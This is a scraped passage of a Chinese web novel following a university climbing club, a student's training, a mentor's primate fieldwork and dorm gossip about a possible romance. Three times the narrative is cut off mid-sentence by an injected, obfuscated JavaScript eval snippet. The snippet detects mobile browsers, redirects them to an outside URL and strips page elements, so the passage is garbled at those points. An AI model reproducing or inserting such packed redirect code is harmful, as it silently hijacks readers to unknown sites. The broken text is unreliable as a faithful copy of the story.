阳光渐暖,湖畔的草地也萌生新绿,岩壁上挂了顶绳,队员们轮流保护攀登。经过若干天恢复训练,李澍感觉已经重回上学期期末的最佳状态。假期里他也反复观看方拓攀爬的视频,每个点的发力方式烂熟于胸。返校后在岩壁上多次演练,动作越来越流畅,原来经常脱手的难点也能轻松翻越。 攀上线路顶点,回身远眺,一片树顶依旧光秃秃的,但湖水已经呈现出平静的蓝绿色,仿佛染上春日阳光的温暖。微眯着眼,身上也暖洋洋的。 就听到岩壁下传来喧闹的欢呼声,“哇,你们终于回来了!” 李澍心中已有预感,向场地入口看去,正对上抬头观望的黎晓唱。她也十分开心,摘下头上的遮阳帽,夸张地向他挥舞着。 李澍的心已经飞了下去,但身体却丝毫未动——给他打保护的是同年级的新人,十足谨慎,还在等他登顶的信号。 李澍喊到:“到顶了,可以下去了。” 对方再三确认:“可以了哈?那你调整好姿势,松手。” “已经松手了。” “哦,那我放你下来了,坐好哈。” 李澍:…… 保护员一板一眼放着绳,李澍只能乖乖地端坐半空,一肚子的催促只能自己憋着。 岩壁下的黎晓唱已经被众人围住,她放下户外包,从里面掏着广西带回来的特产。 “这个是越南绿豆糕和奶油面包干,大家一起分……还有咖啡,可以拿回去喝……谁要桂林辣椒酱来着,这有两瓶……米粉实在不好带,还是当地新鲜的好吃。” 大家也七嘴八舌,询问她阳朔攀岩之行如何,也有人问:“小猴姐这次有没有看到猴子?” “每天都在看,”她笑嘻嘻应道,“当地老乡捡了只猕猴,还送到我们那儿去了,可淘气了。” 那人续道:“你没和它比试比试?” 黎晓唱扔过一包面包干:“严肃点,我是科研工作者好吗?” 李澍回到地面,隔着人群看向黎晓唱——隔了一个假期,她的脸似乎圆润了一些。果然,也有别的队员发现并评论。 “哪有?那么明显吗?”黎晓唱捧着脸,“我好像就长了两斤……而且我每天走几个小时的路呢……发型的缘故吧。” 保护员走过来,想要帮李澍解开绳结。李澍看着他一板一眼认真负责的姿态,心下发怵,谢绝道:“没事没事,我自己来。” 黎晓唱一边应对着众人的询问,一边从礼物中拿出几片面包干和一盒绿豆糕。回头看过去,李澍还在解着绳结,动作有些毛躁。 虽然低着头,但他看起来,和假期前好像有些不一样。 “李澍!”她喊了一声,哗啦啦晃了晃手中的零食,“有好吃的哟。” “哦”他应声抬头,不紧不慢地走过来。 春日煦暖的阳光洒在他的短发上,额头上出了一层薄汗,头发看起来微微湿润,身姿挺拔,脸庞上似乎也多了一些英气。 黎晓唱走过去,上下打量。李澍被她盯着看,有些拘谨,略侧了头。 她也跟着侧身,忽然眼前一亮,指着他大声说:“哇,小澍你刮胡子了!我差点都没敢认!” 她的声音引来更多目光。 “不至于吧。”李澍脸颊发热,心想:你刚才不就喊我来着?太夸张了吧。他下意识抬起手肘,半挡在面前。 黎晓唱嘻嘻一笑,挡住他的胳膊:“这样挺好的呀,继续保持!” 她想起上学期一同自习时的李澍,干净清爽,带着少年的单纯腼腆,当时就觉得,那一抹淡淡的胡须,有点破坏他清秀少年的氛围感。 “我上学期就想,刮掉就好了。”黎晓唱说道。 “是吗?” “哦,不好意思,”她觉得自己有点多管闲事,“不该品头论足哈,你自己怎么习惯怎么来。” “没事,回家她们也说让我刮了。” 队友从身后揽住李澍脖子,挑眉一笑:“嘿嘿,哪个女生说的吧?” 李澍回肘撞开:“我姐!” 训练结束,众人收了顶绳。李澍捡了一根,重新盘好。长绳搭在脖颈后,双臂伸展,将绳子逐段折叠。他臂展长,一开一合,比最初认识时候从容镇定许多。 黎晓唱和老队员们商议本学期的训练计划,偶尔余光看过去,心中颇感欣慰,还有一丝淡淡的喜悦。 她想:“我可真是独具慧眼,发现了一棵好苗子啊!” 说到期末即将举行的大学生攀岩赛,老队员中确认了几位种子选手,其中自然有黎晓唱。其中的新人赛部分,各校均可选派男女生各一人。 祁飞道:“在比赛前一个月,需要提交最终参赛名单。这几个月大家继续训练,到时候做一个内部的排位赛,也检查一下新人的训练成果,再确定最终参赛人选,大家看怎么样?” 李澍看了一眼纸上的训练计划草案,“周四晚上,和我家教的时间正好冲突了……” 祁飞翻了翻手中众人的课表:“这个时间,是目前相对最合适的。家教可以调整么?” “我争取一下,不过……”李澍迟疑,“或者我可以其他时间补训么?” “大一基础课多,家教学生估计也补课多,未必那么灵活。”黎晓唱为他解围,“实在不行分AB组,我有空的时候可以再带一组训练,李澍还有其他时间冲突的队员,也有个备选方案。” 祁飞合上本子,笑道:“别的我没意见,你自己时间够么?你这学期是不是该补考了?” “放心放心,我开学就选重修了,那么基础的内容,我早掌握了,这次肯定没问题!”黎晓唱胸有成竹,“我现在能做的模型,比考试复杂多了!要不是小澍,我也没这么把握,投桃报李嘛!”说着,还对李澍比了个胜利的手势。 众人渐渐散去,祁飞有些话单独对黎晓唱说:“过了期中我就不是队长了,协会里有几个人提名你。我说要先问问你的意见。不过,我个人的建议……” “多谢队长,我明白,你不赞成。”黎晓唱打断他的话,“无论如何,这次比赛我会尽力的。” 祁飞点头:“我了解你们专业,未来很长时间都要出野外。而这边队里也需要一个主心骨,人的时间和精力是有限的。” “我也知道啊。这学期还能相对保证训练时间,等到大四,可能就……到时候大概队里的选拔赛都赢不了。”黎晓唱摸着岩壁,心中不舍,“对了,你出国申请怎样了,拿到几个offer了?” “二月份已经收到两个了,还算可以,有保底的了。”祁飞报了两所大学的名字。 “哇,这保底也很棒了!”黎晓唱笑道,“要请客哦。” “到时候再说吧。”祁飞看起来并不激动。 黎晓唱歪头:“舍不得?没关系啊……凝凝也是要出国的,过段时间就考GRE。” 祁飞无奈地笑:“有什么用呢?” 也是,同在一个校园,努力了这么久,尚且进展无多;更别说未来两个人相隔一年,相继去彼岸不知何处,也许隔了数千公里。 黎晓唱翕动嘴唇,不知应该劝祁飞坚持,还是放弃。 她想起在广西时,和唐凝住在同一间客房,也曾和她聊到这个话题。当时唐凝说道:“不是祁飞不好,只是我和他不可能。” 黎晓唱问道:“发一张好人卡,就是拒绝呗?” 唐凝不语。 黎晓唱察言观色:“但我觉得,你也没有那么果断,还是会有些不舍?队长是看起来比较一板一眼,但也很有责任心。他是不是,看起来太严肃了……其实相处久了,也还会讲笑话的……” “不是这个原因。” “哦,我就是觉得,你们以前关系还不错,刚入队的时候你对他印象还蛮好……”黎晓唱似懂非懂,但也不好再追问,“不过感情这种事,有时候就是看机缘,没有缘分,也的确不能强求……” 唐凝失笑:“你可别语重心长,好像多有经验一样。” “管我有没有经验,没吃过猪肉,还没看过猪跑啊!”黎晓唱挺直腰杆,“小说和电视剧我也看得很多的,好不好?” 经过协调,部分不能参加集中体能训练的队员,自己另寻时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116230|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训练打卡,队里隔断时间抽查检验。技术训练分成两组,大家根据课表自行选择。 春日渐暖,大风天也多了起来。跑步时常常遇到风卷狂沙,队员们顶着风,咬着牙,一个个脸上灰扑扑的,胡乱抹一把脸,都像擦了磨砂膏。 B组技术训练时,黎晓唱和其他几位老队员定线,每次都选合适的点位,针对具体技术动作多加练习。 她更擅长小手点,只靠两三个指尖搭上,就能稳定在斜壁上发力,但每次爬馒头形状、曲线圆滑的大包点,依旧略显吃力。 黎晓唱蹙眉,反复尝试。 祁飞说:“别太勉强,还记得手腕怎么受伤的?” “放心,我会注意的!”黎晓唱缠了缠手腕上的绷带,“我会更注意身体平衡,减轻手部压力。不过总得推推极限,要不然怎么能有突破呢?这种open点还是我的弱项。” “唱姐你已经够牛了好吗?”众人哄笑,“但你的确更擅长小扣扣,看你定的那些线,新队员都要哭了。” 黎晓唱一副成熟样,背着手去检查新队员们的练习,逐一点评:“手指的作用是稳住,还是要全身协调发力……哦对,你看你就是肩部太紧张了,脚点没有踩实……相信你的脚法,对,重心放下来……” 李澍已经在横移路线上挂了十几分钟,指尖磨得生疼,他调整呼吸,尽量用脚趾来承载身体重量。但十指连心,刺痛感依旧阵阵传来,指尖还有一丝丝发黏。 “小澍,你的指尖别翘起来,要这样并拢,形成合力……”黎晓唱举手示范,再看李澍表情,皱眉咬牙,坚持得十分吃力。 她仔细打量:“你是手指破了吗?下来我看看。” “没事,还没到时间……” “快点下来!” 黎晓唱拿了药箱,将李澍手指的镁粉和灰尘擦净。消毒液刺痛,他的手抖了一下,又被黎晓唱捉住。她托着李澍的手,仔细擦拭着,还像哄小孩一样吹了吹气,柔声安慰着:“没事哦,擦干净上点药就好了,坚持一下。” 李澍和她几乎头顶着头,一时间不知说什么好。她低着头,不长不短的头发高高束起,像个活泼的小尾巴。而她的掌心就托着自己的手背,因为怕他刺痛回缩,手指还用了力,捏在他手掌两侧。 凉凉地吹口风,他的心便忘了怎么跳动。 李澍上次和女生牵手,大概是幼儿园或者小学低年级的集体舞。但显然,黎晓唱的手和那些偶尔听闻的对女孩子的描述不一样——和柔软、细腻大概是不沾边的。 她的双手,充满了力、量! 掌心、指节和手指肚,都有一层粗糙的趼子;手指牢牢钳制了他的手掌,捏得他动弹不得。和她柔声安慰,轻轻吹气形成了鲜明对比。 又有什么关系呢,粗糙也好,细腻也罢;温柔也好,有力也罢,他能想到的、也愿意如此乖巧被捉住的,只有她的一双手。 他只觉得她掌心灼热,连带他的心也澎湃起来,要努力克制,才不会翻手捉住她的手掌。 黎晓唱抹了一圈碘伏,对自己的清创消毒手艺十分满意:“没什么大事儿,这两天别太拼。” 李澍只觉得手背一空,心里也空了一拍,一时有些失落。 黎晓唱看他神色茫然,安慰道:“没事儿,可以练练别的,多抓大点。” 李澍“哦”了一声,“看到什么都想爬,觉得哪儿都是手点脚点。” 黎晓唱笑:“那就对了,上道了。”她向门口的假山努努嘴,上面挂了牌子“禁止攀爬”,“你想想看,那个牌子,为什么对着我们的大门?八成是总有队员跃跃欲试。” 天色将黑,黎晓唱看了看时间,“哎呀,我得赶紧吃饭,今天还得去公选课帮忙。” 李澍收拾东西:“我也有上机课。”他想到什么,“是《保护生物学》?” 黎晓唱点头:“对,几位老师轮流讲课,还挺有意思的。最近几堂课是梁老师讲她的工作,要不要去听?” “我看到了,不过正好今天上机。” 黎晓唱问了他上课的地点,说道:“我们这个课三个小时,你的课两个小时,就在隔壁楼。那是个大教室,后门一般也不关严,你要是感兴趣,可以来旁听一下呀。” 李澍点头,“下课早我就过去。” 心里另一个声音说:我一定到啊! 他想:等到下课也九点多了,他可以很自然地问问她,要不要去自习,或者一起去宵夜。 风沙不发威的春日傍晚,总让人薰薰然有些沉醉。 17. 第七章 (下) 在今后的许多年,每每回忆往事,李澍都觉得这个春天是他上大学后最快乐的时光。 在登山协会,一切都变得简单、纯粹。训练是艰苦的,三月时有大风沙尘,但都不能阻止一群年轻人夜跑的脚步。 领跑的是体力惊人的佼佼者,操场上跑十几二十圈依旧步履轻盈、呼吸自如。队伍自然被拉长,分成三五成群的梯队。 最初李澍甚至跟不上黎晓唱几人的女生第一梯队,时常跑到喉头咸腥。但秋去春来,他的位次不断前进,隐隐有加入领跑阵营的趋势。 这不过是热身,跑了二十圈,接下来还有各种魔鬼的力量练习在等待。攀岩队选拔|出来的种子选手们,额外还有每周两次的岩壁训练。 所有人纪律严明,认真守时。几位老队员一扫当初带大家入门时的嘻嘻哈哈,气氛严肃起来。 李澍回到寝室才觉得脚步凝滞、身体沉重,扑在床上就像焊住,只想一动不动。 但他还是会挣扎起身,洗漱冲澡——他清楚记得假期里两位堂姐的话,“一个男生怎么打扮不是最重要的,首先要干净!勤洗衣服勤洗澡,哪怕出汗也不会是臭烘烘的。” 这句话,李澍听进去了。他不想臭烘烘的出现在同学还有……队友面前——嗯,就是这样的,他如此想。 当然,胡子也是要定期刮的。 二十来岁的男孩子,身体被迅速雕刻出细腻流畅的肌肉纹理,没有赘肉,也不是虬结壮实的大块头,强健、劲瘦。 他自己不觉得有太多变化,出门依旧是户外冲锋衣、深蓝色牛仔裤和运动鞋,但身姿挺拔,走路有风,整洁、安静地坐在图书馆里,也是能让人一眼就注意到的男生。 他无暇多顾,是因为除了训练,学业依旧充满挑战——别人只学一门高数,他们专业却要拆成若干门细分内容;基础编程课也已展开。 此外,他还要挤出时间去做家教——辅导一个高二男生的数学和物理。优异的高考成绩和有条理的细致讲解,无疑成为家教优厚回报的背书。 尽管忙到飞起,但李澍开始感到身处大学校园的快乐。体能和精力都在不断提升,可以更专注地应对更高强度的训练和学业。一旦入了门,和教授们也可以有来有往地讨论,如同岩壁上需要不断尝试才能攻克难点,所有挑战和辛苦也成了乐趣。高考之后,他又一次发现,身体里还蕴藏着未曾挖掘的潜力。 更何况,一起在岩壁下训练的时光不仅是磨砺,也是他快乐的源头。 大家一同学习攀登和保护的技术要领,讨论热烈、相互信任,如同将性命托付给彼此。一条线路反复研究,也从别人的动作中获得灵感,如同课堂内外大家对着难题各抒己见。 黎晓唱和他说:“你知道吗,在英文里,抱石的一条线不是叫route(线路),而是叫problem(问题)。解题问题需要体能,也需要思考,很有可能大家的解题方式还不一样。” 方拓来帮忙洽谈岩壁换点的事项,又订了几条新线路,看李澍爬了两趟,对技术动作细节加以点评指导。 李澍这次谦逊很多,不像第一次见到方拓时那么生疏别扭。 方拓笑眯眯看他:“小伙子不错,几个月进步很大啊。” 李澍真诚道谢:“还得多谢拓哥,前段时间一直在看你爬线的视频,模仿着来,很有帮助。” “哦,那你要多谢你晓唱师姐啊,她非得让我爬两遍录下来。”方拓看看他,又看看黎晓唱,笑容别有意味,“这才是真正有心的人。” 黎晓唱忽视他的揶揄,懵懂应道:“对啊,因为你们身体条件相仿啊,这样进步最快啊。” “哦……”方拓应了一声,依旧笑着,“我觉得,小澍有前途。” 在岩壁训练完,一起哼着歌走在回去的路上。众人边走边聊,说着到了四月天气转暖,可以组织去白河或者十渡野攀。 湖畔有夜风送来的幽香,黎晓唱带着众人走到一片蜡梅树旁,踮着脚嗅着黄色的花朵。 有队员走过去,拢起手指,向着鼻子轻轻扇动,被大家笑为实验做多了,到哪儿都不忘扇闻法。 还是浅浅的春意,伙伴们抱怨北京的春天太短,但在李澍看起来,和拥有漫长冬季的家乡比,北京的春天已经足够从容。 水塘边的山坡上,亮黄色的花枝如瀑布般沿着山石倾泻。黎晓唱难免又给几人科普了一下,如何分辨迎春和连翘。老队员们表示,每年听她说一遍,大概能记得。几个新队员饶有兴致跟在后面,听她解说。 “这两个一个六瓣,一个四瓣,很好分。”她说,“蔷薇科才真是变态。” 队友老吴说:“还以为动植物相关的你都懂。” 黎晓唱谦虚:“植物我也就认识常见的。蔷薇科里各种杂交,还有层出不穷的园艺品种,真分不清。” 老吴问:“那校园里的动物,你基本都认识吧。” “那……倒也不是。哺乳动物和鸟认得比较全,鱼类和昆虫的话,常见的也还行吧。” 有新队员问:“校园里都能看到什么呢?” 说到校园里的各种动物,黎晓唱便停不下来:“这个园子虽然也是人工修葺的,但又不全是生硬的草坪和水泥固化的池塘,有起伏的小山坡,相对自然生长的本土植被;有纵横的水道、淤泥堆积的漫滩,像一个小湿地……” 她踢了一脚路边的落叶杂草:“没有这些,也不可能见到刺猬,冬天它们可能就躲在某个落叶堆里睡觉呢。现在还是初春,慢慢会越来越热闹,过些天好多鸟儿就回来啦,到时候……” 李澍跟在后面,听得专注入迷。不仅因为陈述的人是黎晓唱,而是在她娓娓道来中,一个不同的校园画卷在他脑海中徐徐展开。 除了大家关注的流浪猫,还有胆大包天在猫碗里觅食的喜鹊和灰喜鹊; 有春天拆树皮秋天嘴里塞松塔的松鼠,夜里在食堂路边飞奔的黄鼠狼; 有竞争不到配偶只好寻找好基友的鸳鸯,在池塘水面飞掠而过的羽毛亮丽的翠鸟; 迁徙万余公里、可以边飞边睡甚至连交|配也在空中完成的雨燕,身为猛禽却在校园里育雏的红隼和鹰鸮; 还有一只小鸟,曾牵动北京所有观鸟爱好者的心——本应出现在欧亚大陆西侧,却奇迹般现身北京校园的欧亚鸲,也就是知更鸟。 黎晓唱说,也许是天气影响,也许是先天基因,让某些小鸟偏离了它们原有的迁徙路线。 这种偶然出现在传统分布区之外的鸟儿们,有一个专门的称谓,叫做“迷鸟”, 若干年后李澍去美国读博,也在校园里找到了观鸟的同好,第一次见到了北美知更鸟。 他在网上稍作查询,便知道尽管名字相似,但这不是黎晓唱当时心心念念、说如果早点入学就能看到的那一种: 歌声悦耳的红胸脯小鸟知更鸟Robin在英国倍受喜爱,飘洋过海抵达新大陆的英国人或是为了纾解乡愁,便将同样红色胸脯的鸟儿称为北美知更鸟AmericanRobin。 因为想念,便寻找替代品,这是多么常见的心理啊。 可它毕竟不是你最初心心念念的——那只偶尔出现的迷鸟。 如果一个对鸟类学知之甚少的人,在北京某年秋冬偶尔邂逅胸前燃烧火焰的知更鸟,会不会以为,这种相遇只需要一点点的好运气? 却不知,它只是偶尔路过你的世界。 李澍当时对未来没有多做猜想,他还沉浸在重新发现自我的喜悦和兴奋中,只觉得学业和生活重上正轨,非常满足于每日排满的行程表。 在他上机课那天,还常常可以在食堂遇到黎晓唱,一起吃过晚饭,并肩走向相近的两个教学楼。 她向左去综合楼的大教室,到《保护生物学》课堂帮忙;他向右去机房,等两个小时的上机操作结束,再绕去她在的地方,坐在后排听收尾。 之后或许还自习一阵,回去的路上,约几个攀岩队同伴一起吃烤串。黎晓唱就会将课堂前半段的内容补齐,还会声情并茂地讲上一段自己在野外实习的经历。 如果摊主孙大哥忙不过来,李澍就接手帮忙,将攀岩队几人的份额烤出来。 孙大哥过意不去,总是送他们几根肉串或是两瓶啤酒。 李澍觉得没关系,他喜欢在缭绕的烟雾后挥着扇子,看她畅所欲言的样子。好像有了这一层烟雾的遮挡,自己的微笑也不会显得过于直白突兀。 某天李澍进了课堂,梁老师正好讲到白头叶猴保护的部分,说起在广西持续数年的工作,要研究的不仅有个体行为、种群分布、栖息地环境,更要平衡保护与提高当地经济发展之间的关系,让当地人的生活也得到改善。 “从九十年代中期到现在,这个项目已经相对成熟。但大家可以看到,我们团队需要的不仅是生物和环境方面的知识,在技术层面还有农业、遥感、计算机、统计等等,此外也离不开社会、经济、法律。这是一个综合性很强的学科,所以也欢迎不同专业的同学,如果假期有时间,去我们几个不同的保护中心实地感受一下。” 梁老师讲到此处,留了半小时时间,邀请几位学生来讲自己在项目组中从事的工作,其中便有黎晓唱。 刚开场时她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116231|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略显拘谨,嗓音微颤,还不小心把翻页笔掉到地上。但进入正题,讲起每日如何观测猴群的生活习性,便越来越放松。观察小分队天蒙蒙亮便出发,观测醒来的白头叶猴离巢;下午四点多再去守候它们归来。 李澍知道他们每日要背着沉重的影像设备,早出晚归。山坳中阴冷潮湿,观测又需要相对静止,几个人手脚都生了冻疮。 但对这些她只字未提,只是快乐地讲着观测中的趣闻。 或许是猴群接纳了这些每天出现的观测者,在他们面前也更加放松,在岩壁上腾挪跳跃、打闹嬉戏。在一片黑白色成年猴群中,金黄色的幼崽格外显眼可爱。 然而她见过雌猴之间温馨的互助,也看到过新猴王入侵后,将前任猴王的幼崽推落悬崖的“杀婴”现象,唏嘘慨叹,也知道这是它们自然演化中的环节。 李澍已经听她讲过若干次,也不介意再听。在讲台正中的灯光下,她的眼睛闪闪发亮,语气中充满了喜悦和热爱。 李澍不由想起,方拓曾调侃黎晓唱,说:“在你心里,竟然有比攀岩更重要的事儿?” 此刻,答案清楚明白写在她的脸上。 下课铃响,李澍刚走到前排,已经有好多人围着黎晓唱聊起来。她的朋友也是真多,有不少都是同宿舍楼、其他院系的女生们。 黎晓唱看见立在一旁的李澍,笑嘻嘻扬手:“小澍,这几位可是你的直系师姐,快来打招呼!” 他只得上前,乖乖道:“师姐好。” 黎晓唱一一介绍:“李澍也算是我攀岩队的徒弟啦,以后大家多关照他呀。” 师姐们叽叽喳喳笑,“我们学院还有这么帅的小师弟呢?” 有人问:“师弟有女朋友吗?” 旁边室友揶揄:“你不都有男朋友了吗?小心你家那位知道哦。” “我问问不行吗,没准哪天组织师弟师妹们联谊呢。” “联什么联,师弟这条件不需要吧!” 最先发问的女生又转向黎晓唱:“哦对,你说他是攀岩队的?” “是啊,我徒弟啊。” 女生问李澍:“你们也经常训练体能吧,那你跑挺快喽?” 李澍腼腆:“就……中等吧。” “哪里!?”黎晓唱可不谦虚,“小澍这学期进步挺大的,在我们协会都算快的……哦,他以前还练过速滑!” 将他卖得干干净净。 “那太好了,我听我男朋友说,运动会上4*4男子接力,我们学院正好还差一个队员!” 不待李澍发表意见,几个女生已经讨论起来。 “咦,正好体育部长在!”其中一个女生转身,向着不远处和同学交谈的男生招手,“程部长,这里!” 女生们介绍:“这是我们院学生会的体育部部长,大四的师兄,程峻齐。” 程峻齐笑:“早就换届了,现在不是部长了。” “那也没关系,我们正好发现了一个能跑的小师弟,推荐给咱们院队跑接力吧!” 李澍被晾在一旁,还一言未发,这就被决定了命运? “我好久没跑400米了,”他推辞道,“别给大家拖后腿。” 师姐鼓励他:“没事,你看起来就是跑得快的样子。” 黎晓唱也说:“运动会很热闹的,就参加呗,正好我也有项目。队里体能练习的时候跑了那么多,和一般同学比,还是有优势的。” 程峻齐说:“我们最近也开始练习了,改天约个时间去操场跑跑看,我也觉得你没问题。” 李澍骑虎难下,便应了下来。 程峻齐又转向黎晓唱:“你也要报名?” “不用不用,”她连忙摆手,“我是生命学院的。” “哦,对,”他了然一笑,“你是刚刚讲白头叶猴的那个女生,黎……晓唱。” “没错。” “刚才梁老师提到的一些栖息地模型,还挺有意思的,我曾经接触过类似的算法。如果有需要,我也可以出份力。” 旁边女生笑:“程师兄可是我们学院的大神,手握若干牛校offer,有事儿找他就对了。” 李澍后来时常回想,如果自己没去大课,是不是就没有如此一番对话? 但又想,程峻齐明明记得黎晓唱是讲解白头叶猴的女生。若有心结识,或早或晚,他和她都会相逢,只是时间的问题。 他曾问过黎晓唱,那只短暂迷途的知更鸟,后来去了哪里。 她说,在春天新一轮迁徙季节开始时,它就消失不见了。大家都觉得,小家伙是飞回属于它的天地了。 18. 第八章 起风了 程峻齐听到几位师妹的夸赞,笑道:“生科的各位才是专家,我掌握的也只是些技巧和工具。不过刚才梁老师也说了,这是个跨学科的工作,我们能做些辅助。” 黎晓唱说:“好啊,有需要的时候一定请教。” 程峻齐问:“帮忙优化模型的话,可以算期末大作业么?” 黎晓唱连忙摆手:“公选课期末没那么复杂的,就写一篇感受分析类的文章就好。” “那我更倾向于做个模型。”程峻齐笑,“我喜欢用数据说话。” “不过我自己还没想好要如何切入。”黎晓唱坦言,“等我先理理思路。” 下课后大教室空出来,黎晓唱又静心写了概率统计的作业,有上学期李澍的辅导打底,这学期的课程内容顺畅轻松起来。偶尔有不确定的地方,和李澍讨论几句,便也豁然开朗。 搞定作业,又拿了一摞打印的英文论文翻看,李澍瞟了一眼,也都是近期的一些保护地数据分析方法。 走回寝室的路上,黎晓唱步履轻盈,还开心地哼起歌来。 李澍脚步却慢了半拍,她走一会儿就回身招手:“走快点啊,怎么边走边发呆?” “哦,我在想,跑接力要不要穿钉子鞋。”他找了个借口。 “习惯就穿,不习惯就不穿咯,并不是穿上就跑得更快。”她应道,“回头你都试试。” “嗯……”他应了一声,沉默片刻,忍不住探询道,“你之前还说,拿到那么多数据,但怎么处理没有头绪……要是程师兄能帮忙的话,挺好的。” “我相信他挺厉害的,关键我自己没想清楚,自己要做什么啊。我也得先把思路理顺,问题描述清楚,再去找人帮忙。”黎晓唱实话实说,“我和大神们还不是一个level,先学着搞定一些简单基础的问题就好,要不回头交流几句就露怯了。” 她继续道:“真正的科研项目,梁老师和师兄师姐们也都在推进,他们的合作伙伴里也有各个领域的高手。我还是在学习摸索阶段,先做积累比较重要,不着急创新。” 李澍想起未来,一时雄心万丈,一时又忐忑迷茫。 什么是真正的科研?说起来距离自己似乎有些遥远。厚积薄发,未来是否可以如师兄一样,说起自己从事的领域,自信而从容?但其间的距离又有多远? 正想再找个话题,黎晓唱却将食指放在唇畔,示意他安静,低声道:“你听?” “嗯?听什么?” “那个规律的,‘啾—啾’。” 李澍侧耳细听:“嗯,电瓶车么?” “才不是呢。”她背好书包,转了个方向,“在湖边,快走快走。” 她哪里是走,分明是在柏油路上奔跑,越过一个个路灯投下的白色光圈。 跑到岔路口,便停下来稍作调整,再去听那声音的来处。两人沿着湖畔小路曲曲折折,一直停到山坡后方的树林下。 黎晓唱前后踱步,反复判断方向,在一株圆柏前站定,“应该就是这里了。” 周围一片寂静。 李澍也学她的样子,微抬起头。四月和煦的风拂过脸庞,空气中的灰尘气息已经被浅淡的植物清香掩盖,透过树木交错的枝桠,深蓝天宇中有一轮淡黄的月亮。 “啾-啾,啾-啾。”有节奏的鸣叫声再次响起,清晰地从头顶传来。 “哇,真的回来了!今年竟然这么早,这才四月上旬!”黎晓唱眼睛一亮,掏出手机来录音,“这应该是有记录以来最早的观测!我一定要去群里分享一下。” “什么回来了?”李澍好奇。 “就是红……”她话说一半,忽然决定卖个关子,“反正现在看不到,等白天我带你去找。” 要是换了别的暴脾气队友,跟着她跑了两公里,得到这样一个结论,没准要轮着拳头威胁她:“能不能别说话说一半!” 但李澍不以为意,也没追问。夜间在树上鸣叫的,八成是猫头鹰呗。 他不急于知道,他甚至喜欢这样茫无目的地在校园里游走,探险一样,和她一起。不远处每天游人如织,但这儿却如同自然的山林,植物自然生长,罕被打扰。 这样想的显然不止他们。林间没有路,两个人觅着方向,踩着落叶悉悉簌簌走下去,在坡底的灌木丛畔险些和别人撞个满怀。 那是一对儿情侣,也没想到黑灯瞎火,有人从山坡横切下来。女生吓得叫了一声。 声音尖锐,惊得黎晓唱也跟着“啊”了一声。 回到寝室,距离熄灯不久。 孟琳从床帘后探头:“听说,今晚有八卦……” 黎晓唱洗耳恭听:“什么八卦?说来听听。” “你啊,自己交待。” “我?”黎晓唱一愣,回想自己晚上都做了什么。也没什么啊,就上了个课,自了个习,带师弟……钻了个小树林…… 这,不是你们想的那种啊!黎晓唱内心大喊。 刚才山下遇到的一对儿,不是熟人吧?她努力回想,一时觉得有些窘迫。 但再一想,自己身正不怕影子斜,虽然脸上发热,依然强顶着问:“谁说的?” 孟琳遥指:“还是亚岚。” “我什么都没说,我就是先回来了,她问晓唱呢,我说在和几个计算机系的一起聊天,还有程峻齐……她们就很兴奋。” 孟琳笑眯眯打断:“我们都替你打探过了,程大神以前有过一个女朋友,不过分手也一两年了。学术大牛,还是运动达人,和你很般配。” 黎晓唱大窘:“人家就是和我打个招呼好不好?每次都是亚岚随便说点什么,孟琳你就脑洞大开。” “可别这么说,好像我自由发挥似的……”,孟琳一脸无辜,“如果不是亚岚觉得稀奇,回来讲给我听,我怎么知道?显然她也觉得有情况啊。” “能有什么情况?”黎晓唱哭笑不得,“和我打招呼的男生多的是,协会里熟悉的就有好几十个,有什么可八卦啊?” “人家说要和你合作,就是有心继续接触啊,傻妞。”孟琳嗤之以鼻,“而且他也算计算机系的风云人物了。”显然,她已经和几位计算机的楼友们攀谈过,知道她们大致的谈话内容。 周亚岚问:“你不认识他?” 黎晓唱一脸茫然,摇头。 “去年篮球联赛,半决赛把咱们学院淘汰的,就是他们队。最后一分钟,他得了五分,一个三分加两个罚篮。” 周亚岚男友也是学院男篮主力,常去看球赛,记得清楚。 黎晓唱继续摇头,嘿嘿一笑:“我那时候在准备攀岩大赛吧,也没赶上给球队加油,就去看过几眼。” “不仅如此,成绩也名列前茅,外型也不错,”孟琳继续说道,“小言男主的配置,你不考虑一下?” “考虑什么啊考虑!”黎晓唱挥手,“可别乱说啊,尤其别去人家系女生面前乱说,好像我有什么想法似的。” “他主动和你搭话呢,这就是一个良好的开端。”孟琳劝诫,“回头收敛一下你的猴脾气,别一见面就上蹿下跳。千万别和以前一样,把所有潜在可能的发展对象,最后全都发展成哥们了……” 黎晓唱无所谓:“哥们怎么了,哥们挺好啊。男女之间又不是只能谈恋爱。” “不不,我觉得这个师兄值得把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116232|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握一下。”孟琳摆手,“对了,之前经常和你在一起的小师弟呢?” “可别乱八卦啊。”黎晓唱义正辞严,“那可是小朋友,脸皮薄。” 